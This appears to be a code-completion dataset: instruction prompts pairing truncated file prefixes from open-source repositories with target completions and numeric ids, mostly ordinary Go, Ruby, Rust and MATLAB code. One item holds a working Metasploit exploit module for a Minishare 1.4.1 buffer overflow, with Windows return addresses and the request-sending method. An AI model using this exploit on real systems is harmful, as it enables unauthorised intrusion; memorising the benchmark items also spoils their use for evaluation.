You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: poloniex.go path of file: ./repos/gocryptotrader/exchanges/poloniex the code of the file until where you have to start completion: package poloniex import ( "bytes" "context" "encoding/json" "errors" "fmt" "net/http" "net/url" "strconv" "strings" "time" "github.com/thrasher-corp/gocryptotrader/common" "github.com/thrasher-corp/gocryptotrader/common/crypto" "gi
func (p *Poloniex) GetAuthenticatedOrderStatus(ctx context.Context, orderID string) (o OrderStatusData, err error) { values := url.Values{} if orderID == "" { return o, errors.New("no orderID passed") } values.Set("orderNumber", orderID) var rawOrderStatus OrderStatus err = p.SendAuthenticatedHTTPRequest(ctx, exchange.RestSpot, http.MethodPost, poloniexOrderStatus, values, &rawOrderStatus) if err != nil { return o, err } switch rawOrderStatus.Success { case 0: // fail var errMsg GenericResponse err = json.Unmarshal(rawOrderStatus.Result, &errMsg) if err != nil { return o, err } return o, errors.New(errMsg.Error) case 1: // success var status map[string]OrderStatusData err = json.Unmarshal(rawOrderStatus.Result, &status) if err != nil { return o, err } for _, o = range status { return o, err } } return o, err }
57,983
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: read_mayo_mef30.m path of file: ./repos/fieldtrip/fileio/private the code of the file until where you have to start completion: function mayo_out =
function mayo_mef30 % ========================================================================= % subroutines % ========================================================================= function q = parseInputs(varargin) % default default_pw = struct([]); default_sc = 'alphabet'; % sort channel default_hr = struct([]); default_bs = []; default_es = []; default_ci = []; % parse rule p = inputParser; p.addRequired('filename', @ischar); p.addOptional('password', default_pw, @(x) isstruct(x) || isempty(x)); p.addOptional('sortchannel', default_sc, @(x) ischar(x) || isempty(x)); p.addOptional('hdr', default_hr, @isstruct); p.addOptional('begsample', default_bs, @isnumeric); p.addOptional('end
683,438
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: sw_seck.m path of file: ./repos/tracacode/1911-COAWST/script/mfiles/rutgers/seawater the code of the file until where you have to start completion: function K = sw_seck(S,T,P) % SW_SECK Secant bulk modulus (K) of sea water %========================================================================= % SW_SECK $Id: sw_seck.m 330 2009-03-10 05:57:42Z arango $ % Copyright (C) CSIRO, Phil Morgan 1992. % % USAGE: dens = sw_seck(S,T,P) % % DESCRIPTION: % Secant Bulk Modulus (K) of Sea Water using Equation of state 1980. % UNESCO polynomial implementation. % % INPUT: (all must have same dimensions) % S = salinity [psu (PSS-78) ]
function K = sw_seck(S,T,P) % SW_SECK Secant bulk modulus (K) of sea water %========================================================================= % SW_SECK $Id: sw_seck.m 330 2009-03-10 05:57:42Z arango $ % Copyright (C) CSIRO, Phil Morgan 1992. % % USAGE: dens = sw_seck(S,T,P) % % DESCRIPTION: % Secant Bulk Modulus (K) of Sea Water using Equation of state 1980. % UNESCO polynomial implementation. % % INPUT: (all must have same dimensions) % S = salinity [psu (PSS-78) ] % T = temperature [degree C (ITS-90)] % P = pressure [db] % (alternatively, may have dimensions 1*1 or 1*n where n is columns in S) % % OUTPUT: % K = Secant Bulk Modulus [bars] % % AUTHOR: Phil Morgan 92-11-05, Lindsay Pend
188,396
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: allowed_settings.rb path of file: ./repos/openproject/app/models/permitted_params the code of the file until where you have to start completion: class PermittedParams module AllowedSe
def init! password_keys = %i( password_min_length password_active_rules password_min_adhered_rules password_days_valid password_count_former_banned lost_password ) add_restriction!( keys: password_keys, condition: -> { OpenProject::Configuration.disable_password_login? } ) add_restriction!( keys: %i(registration_footer), condition: -> { !Setting.registration_footer_writable? } ) end
667,295
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: event.rb path of file: ./repos/brew/Library/Homebrew/vendor/bundle-standalone/ruby/2.3.0/gems/concurrent-ruby-1.1.4/lib/concurrent/atomic the code of the file until where you have to start completion: require 'thread' require 'concurren
def reset synchronize do if @set @set = false @iteration +=1 end true end
18,154
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: subsref.m path of file: ./repos/chebfun/@chebfun3 the code of the file until where you have to start completion: function varargout = subsref(f, index) %SUBSREF CHEBFUN3 subsref. % F(X, Y, Z) returns the values of the CHEBFUN3 object F evaluated at the % point (X, Y, Z). % % F(G) where G is a CHEBFUN3V returns the CHEBFUN3 representing the % composition F(G). If G is a CHEBFUN2V, then F(G) is a CHEBFUN2. If G is a % CHEBFUN with three columns, then F(G) is a CHEBFUN. If G is a SPHEREFUNV, % then F(G) is a SPHEREFUN. % % F(X, Y, Z) where X, Y, Z are CHEBFUN3 objects is a CHEBFUN3 representing the % composition. Similarly if X, Y, Z are CHEBFUN or CHEBFUN2 objects. % % F.PROP returns the property of F specified in PROP. % Copyright 2017 by The University of Oxford and The Chebfun Developers. % See http://www.chebfun.org/ for Chebfun information. % TODO: Implement vector inputs like f(0,0,0:1). This kind of input % is permitted in Chebfun2. idx = index(1).subs; switch index(1).type case '()' % FEVAL / COMPOSE if ( numel(idx) == 3 ) % Find where to evaluate: x = idx{1}; y = idx{2}; z = idx{3}; % If x, y, z are numeric or ':' call feval(). If x, y, z are % CHEBFUN, CHEBFUN2 or CHEBFUN3, concatenate (also checks that % domains are compatible) and call compose(). if ( ( isnumeric(x) || strcmpi(x, ':') ) && ... ( isnumeric(y) || strcmpi(y, ':') ) && ... ( isnumeric(z) || strcmpi(z, ':') ) ) out = feval(f, x, y, z); elseif ( isa(x, 'chebfun') && isa(y, 'chebfun') && isa(z, 'chebfun') ) out = compose([x, y, z], f); elseif ( isa(x, 'chebfun2') && isa(y, 'chebfun2') && isa(z, 'chebfun2') ) out = compose([x; y; z], f); elseif ( isa(x, 'chebfun3') && isa(y, 'chebfun3') && isa(z, 'chebfun3') )
function varargout = subsref(f, index) %SUBSREF CHEBFUN3 subsref. % F(X, Y, Z) returns the values of the CHEBFUN3 object F evaluated at the % point (X, Y, Z). % % F(G) where G is a CHEBFUN3V returns the CHEBFUN3 representing the % composition F(G). If G is a CHEBFUN2V, then F(G) is a CHEBFUN2. If G is a % CHEBFUN with three columns, then F(G) is a CHEBFUN. If G is a SPHEREFUNV, % then F(G) is a SPHEREFUN. % % F(X, Y, Z) where X, Y, Z are CHEBFUN3 objects is a CHEBFUN3 representing the % composition. Similarly if X, Y, Z are CHEBFUN or CHEBFUN2 objects. % % F.PROP returns the property of F specified in PROP. % Copyright 2017 by The University of Oxford and The Chebfun Developers. % See http://www.chebfun.org/ for Chebfun information. % TODO: Implement vector inputs like f(0,0,0:1). This kind of input % is permitted in Chebfun2. idx = index(1).subs; switch index(1).type case '()' % FEVAL / COMPOSE if ( numel(idx) == 3 ) % Find where to evaluate: x = idx{1}; y = idx{2}; z = idx{3}; % If x, y, z are numeric or ':' call feval(). If x, y, z are % CHEBFUN, CHEBFUN2 or CHEBFUN3, concatenate (also checks that % domains are compatible) and call compose(). if ( ( isnumeric(x) || strcmpi(x, ':') ) && ... ( isnumeric(y) || strcmpi(y, ':') ) && ... ( isnumeric(z) || strcmpi(z, ':') ) ) out = feval(f, x, y, z); elseif ( isa(x, 'chebfun') && isa(y, 'chebfun') && isa(z, 'chebfun') ) out = compose([x, y, z], f); elseif ( isa(x, 'chebfun2') && isa(y, 'chebfun2') && isa(z, 'chebfun2') ) out = compose([x; y; z], f); elseif ( isa(x, 'chebfun3') && isa(y, 'chebfun3') && isa(z, 'chebfun3') ) out = compose([x; y; z], f); else % Don't know what to do. error('CHEBFUN:CHEBFUN3:subsref:inputs3', ... 'Unrecognized inputs.') end
395,088
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: debug_trap.rb path of file: ./repos/metasploit-framework/modules/payloads/singles/generic the code of the file until where you have to start completion: ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## module MetasploitModule CachedSize = 1 include Msf::Payload::Single def initialize(info = {}) super(merge_info(info, 'Name' => 'Generic x86 Debug Trap', 'Description' => 'Generate a debug trap in the target process',
def initialize(info = {}) super(merge_info(info, 'Name' => 'Generic x86 Debug Trap', 'Description' => 'Generate a debug trap in the target process', 'Author' => 'robert <robertmetasploit[at]gmail.com>', 'Platform' => %w{ bsd bsdi linux osx solaris win }, 'License' => MSF_LICENSE, 'Arch' => ARCH_X86, 'Payload' => { 'Payload' => "\xcc" } )) end
740,014
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: db.go path of file: ./repos/agola/internal/sqlg/sql the code of the file until where you have to start completion: package sql import ( "cont
func (tx *Tx) ID() string { if tx == nil { return "" } return tx.id }
554,225
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: generic_object.rb path of file: ./repos/manageiq/app/models the code of the file until where you have to start completion: class GenericObject < ApplicationRecord acts_as_miq_taggable include ExternalUrlMixin virtual_has_one :custom_actions virtual_has_one :custom_action_buttons
def _property_setter(name, value) name = name.to_s val = if property_attribute_defined?(name) # property attribute is of single value, for now type_cast(name, value) elsif property_association_defined?(name) # property association is of multiple values value.select { |v| v.kind_of?(generic_object_definition.property_associations[name].constantize) }.uniq.map(&:id) end
22,279
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: minishare_get_overflow.rb path of file: ./repos/metasploit-framework/modules/exploits/windows/http the code of the file until where you have to start completion: ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Minishare 1.4.1 Buffer Overflow', 'Description' => %q{ This is a simple buffer overflow for the minishare web server. This flaw affects all versions prior to 1.4.2. This is a plain stack
def initialize(info = {}) super(update_info(info, 'Name' => 'Minishare 1.4.1 Buffer Overflow', 'Description' => %q{ This is a simple buffer overflow for the minishare web server. This flaw affects all versions prior to 1.4.2. This is a plain stack buffer overflow that requires a "jmp esp" to reach the payload, making this difficult to target many platforms at once. This module has been successfully tested against 1.4.1. Version 1.3.4 and below do not seem to be vulnerable. }, 'Author' => [ 'acaro <acaro[at]jervus.it>' ], 'License' => BSD_LICENSE, 'References' => [ [ 'CVE', '2004-2271'], [ 'OSVDB', '11530'], [ 'BID', '11620'], [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2004-11/0208.html'], ], 'Privileged' => false, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40", 'MinNops' => 64, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['Windows 2000 SP0-SP3 English', { 'Rets' => [ 1787, 0x7754a3ab ]}], # jmp esp ['Windows 2000 SP4 English', { 'Rets' => [ 1787, 0x7517f163 ]}], # jmp esp ['Windows XP SP0-SP1 English', { 'Rets' => [ 1787, 0x71ab1d54 ]}], # push esp, ret ['Windows XP SP2 English', { 'Rets' => [ 1787, 0x71ab9372 ]}], # push esp, ret ['Windows 2003 SP0 English', { 'Rets' => [ 1787, 0x71c03c4d ]}], # push esp, ret ['Windows 2003 SP1 English', { 'Rets' => [ 1787, 0x77403680 ]}], # jmp esp ['Windows 2003 SP2 English', { 'Rets' => [ 1787, 0x77402680 ]}], # jmp esp ['Windows NT 4.0 SP6', { 'Rets' => [ 1787, 0x77f329f8 ]}], # jmp esp ['Windows XP SP2 German', { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp ['Windows XP SP2 Polish', { 'Rets' => [ 1787, 0x77d4e26e ]}], # jmp esp ['Windows XP SP2 French', { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp ['Windows XP SP3 French', { 'Rets' => [ 1787, 0x7e3a9353 ]}], # jmp esp ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'DisclosureDate' => '2004-11-07')) end def exploit uri = rand_text_alphanumeric(target['Rets'][0]) uri << [target['Rets'][1]].pack('V') uri << payload.encoded print_status("Trying target address 0x%.8x..." % target['Rets'][1]) send_request_raw({ 'uri' => uri }, 5) handler end end
743,768
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: sift.rb path of file: ./repos/homebrew-core/Formula/s the code of the file until where you have to start completion: require "language/go" class Sift < Formula desc "Fast and powerful open s
def install ENV["GOPATH"] = buildpath ENV["GO111MODULE"] = "auto" (buildpath/"src/github.com/svent/sift").install buildpath.children Language::Go.stage_deps resources, buildpath/"src" cd "src/github.com/svent/sift" do system "go", "build", "-o", bin/"sift" prefix.install_metafiles bash_completion.install "sift-completion.bash" => "sift" end end
696,713
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: app.rb path of file: ./repos/ruby-acme-cli/lib/letsencrypt/cli the code of the file until where you have to start completion: require 'thor' require 'colorize' require 'fileutils' module Letsencrypt module Cli class App < Thor class_option :account_key, desc: "Path to private key file (will be created if not exists)", aliases: "-a", default: 'account_key.pem' class_option :test, desc: "Use staging url of Letsencrypt instead of production server", aliases: "-t", type: :boolean class_option :log_level, desc: "Log Level (debug, info, warn, error, fatal)", default: "info" class_option :color, desc: "Disable colorize", defau
def manage(*domains) key_dir = File.join(@options[:key_directory], @options[:sub_directory] || domains.first) FileUtils.mkdir_p(key_dir) @options = @options.merge( :private_key_path => File.join(key_dir, 'key.pem'), :fullchain_path => File.join(key_dir, 'fullchain.pem'), :certificate_path => File.join(key_dir, 'cert.pem'), :chain_path => File.join(key_dir, 'chain.pem'), ) if wrapper.check_certificate(@options[:certificate_path]) exit 2 end authorize(*domains) cert(*domains) end
57,332
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: auth_basic_rule_load.go path of file: ./repos/bfe/bfe_modules/mod_auth_basic the code of the file until where you have to start completion: // Copyright (c) 2019 The BFE Authors. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicab
func ProductRulesCheck(conf *ProductRulesFile) error { for product, ruleList := range *conf { if ruleList == nil { return fmt.Errorf("no RuleList for product: %s", product) } err := RuleListCheck(ruleList) if err != nil { return fmt.Errorf("invalid product rules:%s, %v", product, err) } } return nil }
594,552
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: snippet.rb path of file: ./repos/cucumber-ruby/lib/cucumber/glue the code of the file until where you have to start completion: # frozen_string_literal: true module Cucumber module Glue module Snippet ARGUMENT_PATT
def initialize(cucumber_expression_generator, code_keyword, step_name, multiline_argument) @number_of_arguments = 0 @code_keyword = code_keyword @pattern = replace_and_count_capturing_groups(step_name) @generated_expressions = cucumber_expression_generator.generate_expressions(step_name) @multiline_argument = MultilineArgumentSnippet.new(multiline_argument) end
639,709
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: syntax.rs path of file: ./repos/boa/core/engine/src/builtins/error the code of the file until where you have to start completion: //! This module implements the global `SyntaxError` object. //! //! The `SyntaxError` object represents an error when trying to interpret syntactically invalid code. //! It is thrown when the JavaScript context encounters tokens or token order that does not conform //! to the syntax of the language when parsing code. //! //! More information: //! - [MDN documentation][mdn] //! - [ECMAScript reference][spec] //! //! [spec]: https://tc39.es/ecma
fn init(realm: &Realm) { let _timer = Profiler::global().start_event(std::any::type_name::<Self>(), "init"); let attribute = Attribute::WRITABLE | Attribute::NON_ENUMERABLE | Attribute::CONFIGURABLE; BuiltInBuilder::from_standard_constructor::<Self>(realm) .prototype(realm.intrinsics().constructors().error().constructor()) .inherits(Some(realm.intrinsics().constructors().error().prototype())) .property(utf16!("name"), Self::NAME, attribute) .property(utf16!("message"), js_string!(), attribute) .build(); }
362,295
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: vars.rs path of file: ./repos/zenoh-flow/zenoh-flow-commons/src the code of the file until where you have to start completion: // // Copyright (c) 2021 - 2023 ZettaScale Technology // // This program and the accompanying materials are made available under the // ter
fn from(value: Vec<(T, U)>) -> Self { Self { vars: Rc::new( value .into_iter() .map(|(k, v)| (k.as_ref().into(), v.as_ref().into())) .collect::<HashMap<Rc<str>, Rc<str>>>(), ), } }
80,597
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: _target_device.rs path of file: ./repos/aws-sdk-rust/sdk/sagemaker/src/types the code of the file until where you have to start completion: // Code generated by software.amazon.smithy.rust.codegen.smithy-rs. DO NOT EDIT. /// When writing a match expression against `TargetDevice`, it is important to ensure /// your code is forward-compatible. That is, if a match arm handles a case for a /// feature that is supported by the service but has not been represented as an enum /// variant in a current version of SDK, your code should continue to work when you /// upgrade SDK to a future version in which the enum does include a variant for that /// feature. /// /// Here is an example of how you can make a match expression forward-compatible: /// /// ```text /// # let targetdevice = unimplemented!(); /// match targetdevice { /// TargetDevice::Aisage => { /* ... */ }, /// TargetDevice::AmbaCv2 => { /* ... */ }, /// TargetDevice::AmbaCv22 => { /* ... */ }, /// TargetDevice::AmbaCv25 => { /* ... */ }, /// TargetDevice::Coreml => { /* ... */ }, /// TargetDevice::Deeplens => { /* ... */ }, /// TargetDevice::Imx8Mplus => { /* ... */ }, /// TargetDevice::Imx8Qm => { /* ... */ }, /// TargetDevice::JacintoTda4Vm => { /* ... */ }, /// TargetDevice::JetsonNano => { /* ... */ }, /// TargetDevice::JetsonTx1 => { /* ... */ }, /// TargetDevice::JetsonTx2 => { /* ... */ }, /// TargetDevice::JetsonXavier => { /* ... */ }, /// TargetDevice::Lambda => { /* ... */ }, /// TargetDevice::MlC4 => { /* ... */ }, /// TargetDevice::MlC5 => { /* ... */ }, /// TargetDevice::MlC6G => { /* ... */ }, /// TargetDevice::MlEia2 => { /* ... */ }, /// TargetDevice::MlG4Dn => { /* ... */ }, /// TargetDevice::MlInf1 => { /* ... */ }, /// TargetDevice::MlInf2 => { /* ... */ }, /// TargetDevice::MlM4 => { /* ... */ }, /// TargetDevice::MlM5 => { /* ... */ }, /// TargetDevice::MlM6G => { /* ... */ }, /// TargetDevice::Ml
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result { match self { TargetDevice::Aisage => write!(f, "aisage"), TargetDevice::AmbaCv2 => write!(f, "amba_cv2"), TargetDevice::AmbaCv22 => write!(f, "amba_cv22"), TargetDevice::AmbaCv25 => write!(f, "amba_cv25"), TargetDevice::Coreml => write!(f, "coreml"), TargetDevice::Deeplens => write!(f, "deeplens"), TargetDevice::Imx8Mplus => write!(f, "imx8mplus"), TargetDevice::Imx8Qm => write!(f, "imx8qm"), TargetDevice::JacintoTda4Vm => write!(f, "jacinto_tda4vm"), TargetDevice::JetsonNano => write!(f, "jetson_nano"), TargetDevice::JetsonTx1 => write!(f, "jetson_tx1"), TargetDevice::JetsonTx2 => write!(f, "jetson_tx2"), TargetDevice::JetsonXavier => write!(f, "jetson_xavier"), TargetDevice::Lambda => write!(f, "lambda"), TargetDevice::MlC4 => write!(f, "ml_c4"), TargetDevice::MlC5 => write!(f, "ml_c5"), TargetDevice::MlC6G => write!(f, "ml_c6g"), TargetDevice::MlEia2 => write!(f, "ml_eia2"), TargetDevice::MlG4Dn => write!(f, "ml_g4dn"), TargetDevice::MlInf1 => write!(f, "ml_inf1"), TargetDevice::MlInf2 => write!(f, "ml_inf2"), TargetDevice::MlM4 => write!(f, "ml_m4"), TargetDevice::MlM5 => write!(f, "ml_m5"), TargetDevice::MlM6G => write!(f, "ml_m6g"), TargetDevice::MlP2 => write!(f, "ml_p2"), TargetDevice::MlP3 => write!(f, "ml_p3"), TargetDevice::MlTrn1 => write!(f, "ml_trn1"), TargetDevice::Qcs603 => write!(f, "qcs603"), TargetDevice::Qcs605 => write!(f, "qcs605"), TargetDevice::Rasp3B => write!(f, "rasp3b"), TargetDevice::Rasp4B => write!(f, "rasp4b"), TargetDevice::Rk3288 => write!(f, "rk3288"), TargetDevice::Rk3399 => write!(f, "rk3399"), TargetDevice::SbeC => write!(f, "sbe_c"), TargetDevice::SitaraAm57X => write!(f, "sitara_am57x"), TargetDevice::X86Win32 => write!(f, "x86_win32"), TargetDevice::X86Win64 => write!(f, "x86_win64"), TargetDevice::Unknown(value) => write!(f, "{}", value), } }
763,363
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: cpu_aix.go path of file: ./repos/sliver/implant/vendor/golang.org/x/sys/cpu the code of the file until where you have to start completion: // Copyright 2019
func archInit() { impl := getsystemcfg(_SC_IMPL) if impl&_IMPL_POWER8 != 0 { PPC64.IsPOWER8 = true } if impl&_IMPL_POWER9 != 0 { PPC64.IsPOWER8 = true PPC64.IsPOWER9 = true } Initialized = true }
451,193
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: internal.go path of file: ./repos/azure-sdk-for-go/sdk/resourcemanager/saas/armsaas/fake the code of the file until where you have to start completion: //go:build go1.18 // +build go1.18 // Copyright (c) Microsoft Corporation. All rights reserved. // L
func contains[T comparable](s []T, v T) bool { for _, vv := range s { if vv == v { return true } } return false }
266,964
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: autocomplete.rs path of file: ./repos/cursive/cursive/examples the code of the file until where you have to start completion: use cursive::align::HAlign; use cursive::traits::Scrollable; use cursive::view::{Nameable, Resizable}; use cursive::views::{Dialog, EditView, LinearLayout, SelectView, TextView}; use cursive::Cursive; use lazy_static::lazy_static; // This example shows a way to implement a (Google-like) autocomplete search box. // Try entering "tok"! lazy_static! { static ref CITIES: &'static str = include_str!("assets/cities.txt
fn on_submit(siv: &mut Cursive, query: &str) { let matches = siv.find_name::<SelectView>("matches").unwrap(); if matches.is_empty() { // not all people live in big cities. If none of the cities in the list matches, use the value of the query. show_next_window(siv, query); } else { // pressing "Enter" without moving the focus into the `matches` view will submit the first match result let city = &*matches.selection().unwrap(); show_next_window(siv, city); }; }
578,469
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: cookie_host.rs path of file: ./repos/warpgate/warpgate-protocol-http/src/middleware the code of the file until where you have to start completion: use async_trait::async_trait; use http::header::Entry; use poem::web::cookie::Cookie; use poem::{Endpoint, IntoResponse, Middleware, Request, Response}; use crate::common::SESSION_COOKIE_NAME; pub struct CookieHostMiddleware {} impl CookieHostMiddleware { pub fn new() -> Self { Self {} } } pub struct CookieHostMiddlewareEndpoint<E: Endpoint> { inner: E, } impl<E: Endpoint> Middlewa
async fn call(&self, req: Request) -> poem::Result<Self::Output> { let host = req.original_uri().host().map(|x| x.to_string()); let mut resp = self.inner.call(req).await?.into_response(); if let Some(host) = host { if let Entry::Occupied(mut entry) = resp.headers_mut().entry(http::header::SET_COOKIE) { if let Ok(cookie_str) = entry.get().to_str() { if let Ok(mut cookie) = Cookie::parse(cookie_str) { if cookie.name() == SESSION_COOKIE_NAME { cookie.set_domain(host); if let Ok(value) = cookie.to_string().parse() { entry.insert(value); } } } } } } Ok(resp) }
58,315
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: pca_sh_error_pcws_old.m path of file: ./repos/HRTF-Individualization/model/matlabcode/functions/core/test/plot/pca_sh the code of the file until where you have to start completion: function pca_sh_error_pcws_old() dbs = {'ircam'};
function pca_sh_error_pcws_old() dbs = {'ircam'}; mode = 2; for db=1:length(dbs) % Load Error File error_data = sprintf('../matlabdata/test_pca_sh/variance_error_pca_sh_%s.mat',dbs{db}); load(error_data,'conf','error'); % Disp conf conf clearvars Y data_weight = error.weight_model.weight_error; data_shape = error.weight_model.shape_error; angles = conf.database.angles; % Load Angles from database az_unique = unique(angles(:,1)); el_unique = unique(angles(:,2)); % do through all parameters and create/save diagrams for im = 1:length(conf.input_modes) for is = 1:length(conf.input_structures) for sm = 1:length(conf.smoothing) for em = 1:length(conf.ear_modes) for ear = 1:length(conf.ears) for sh = 1:length(conf.sh_orders) for pc=1:length(conf.pc_numbers) X = squeeze(data_weight(ear,im,is,em,sm,1,sh,:,:,:,pc)); for el=1:length(el_unique) for az=1:length(az_unique) Y(az,el) = 0; answ = 0; offset = 0; while true [Y,answ] = SearchNextPos(Y,X,conf,az,el,az_unique,el_unique,offset); if (answ == 1) break end
127,198
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: migrations.rs path of file: ./repos/Plume/plume-models/src the code of the file until where you have to start completion: use crate::{Connection, Error, Result}; use diesel::connection::{Connection as Conn, SimpleConnection}; use migrations_internals::{setup_database, MigrationConnection}; use std::path::Pat
pub fn is_pending(&self, conn: &Connection) -> Result<bool> { let latest_migration = conn.latest_run_migration_version()?; if let Some(migration) = latest_migration { Ok(self.0.last().expect("no migrations found").name != migration) } else { Ok(true) } }
361,489
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: colorScale.m path of file: ./repos/bspm/thirdparty/rsatoolbox/Engines the code of the file until where you have to start completion: function cols=colorScale(anchorCols,nCols,monitor) % linearly interpolates between a set of given 'anchor' colours to give
function cols=colorScale(anchorCols,nCols,monitor) % linearly interpolates between a set of given 'anchor' colours to give % nCols and displays them if monitor is set %__________________________________________________________________________ % Copyright (C) 2012 Medical Research Council %% preparations if ~exist('monitor','var'), monitor=false; end
516,501
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: base_create_service.rb path of file: ./repos/openproject/modules/boards/app/services/boards the code of the file until where you have to start completion: # frozen_string_literal: true module Boards
def default_create_query_params(params) { project: params[:project], public: true, sort_criteria: query_sort_criteria } end
668,061
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: types.go path of file: ./repos/logger/pkg/documents the code of the file until where you have to start completion: package documents import ( "encoding/json" "time" ) // Document represents a complete database record. type Document struct { Identifier string `json:"identifier"` Content Content `json:"content"` History []Content `json:"history"
func DecodeDocument(in string) (*Document, error) { var out *Document if err := json.Unmarshal([]byte(in), &out); err != nil { return nil, err } if out.History == nil { out.History = make([]Content, 0) } if out.Content.Meta.Tags == nil { out.Content.Meta.Tags = make([]string, 0) } return out, nil }
9,340
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: path.rs path of file: ./repos/rustc_codegen_cranelift/build_system the code of the file until where you have to start completion: use std::fs; use std::path::PathBuf; use crate::utils::remove_dir_i
fn to_path(self, dirs: &Dirs) -> PathBuf { match self { PathBase::Source => dirs.source_dir.clone(), PathBase::Download => dirs.download_dir.clone(), PathBase::Build => dirs.build_dir.clone(), PathBase::Dist => dirs.dist_dir.clone(), } }
412,997
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: manifold.go path of file: ./repos/juju/worker/metricworker the code of the file until where you have to start completion: // Copyright 2015 Canonical Ltd. // Licensed under the AGPLv3, see LICENCE file for details. package metricworker
func Manifold(config ManifoldConfig) dependency.Manifold { return engine.APIManifold( engine.APIManifoldConfig{ APICallerName: config.APICallerName, }, config.start, ) }
613,395
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: spm_dicom_text_to_dict.m path of file: ./repos/spm the code of the file until where you have to start completion: function dict = spm_dicom_text_to_dict(textfile) % Create a DICOM dictionary .mat file from a text version % FORMAT dict = spm_dicom_text_to_dict(textfile) % OR spm_dicom_text_to_dict(textfile) % textfile - the name of a suitable text version of the dictionary. % With no output argument, the results are saved in a .mat
function dict = spm_dicom_text_to_dict(textfile) % Create a DICOM dictionary .mat file from a text version % FORMAT dict = spm_dicom_text_to_dict(textfile) % OR spm_dicom_text_to_dict(textfile) % textfile - the name of a suitable text version of the dictionary. % With no output argument, the results are saved in a .mat % file of the same base name. %__________________________________________________________________________ % The text version is typically generated by copy/pasting from the % "Digital Imaging and Communications in Medicine (DICOM) Part 6: % Data Dictionary" pdf file from http://medical.nema.org/standard.html, % and manually tidying it up (about a solid day's effort). A % re-formatted text version is then obtained by running the following: % % awk < DICOM2011_dict.txt '{if ($NF=="RET") print $1,$(NF-3),$(NF-2),$(NF-1); else print $1,$(NF-2),$(NF-1),$(NF);}' | sed 's/(/ /' | sed 's/,/ /' | sed 's/)//' | awk '{printf("%s\t%s\t%s\t%s\t%s\n", $1,$2,$3,$4,$5)}' > new_dicom_dict.txt % % After this, the spm_dicom_text_to_dict function can be run to generate % the data dictionary. %__________________________________________________________________________ % John Ashburner % Copyright (C) 2002-2022 Wellcome Centre for Human Neuroimaging if ~nargin, textfile = fullfile(spm('Dir'),'spm_dicom_dict.txt'); end
715,703
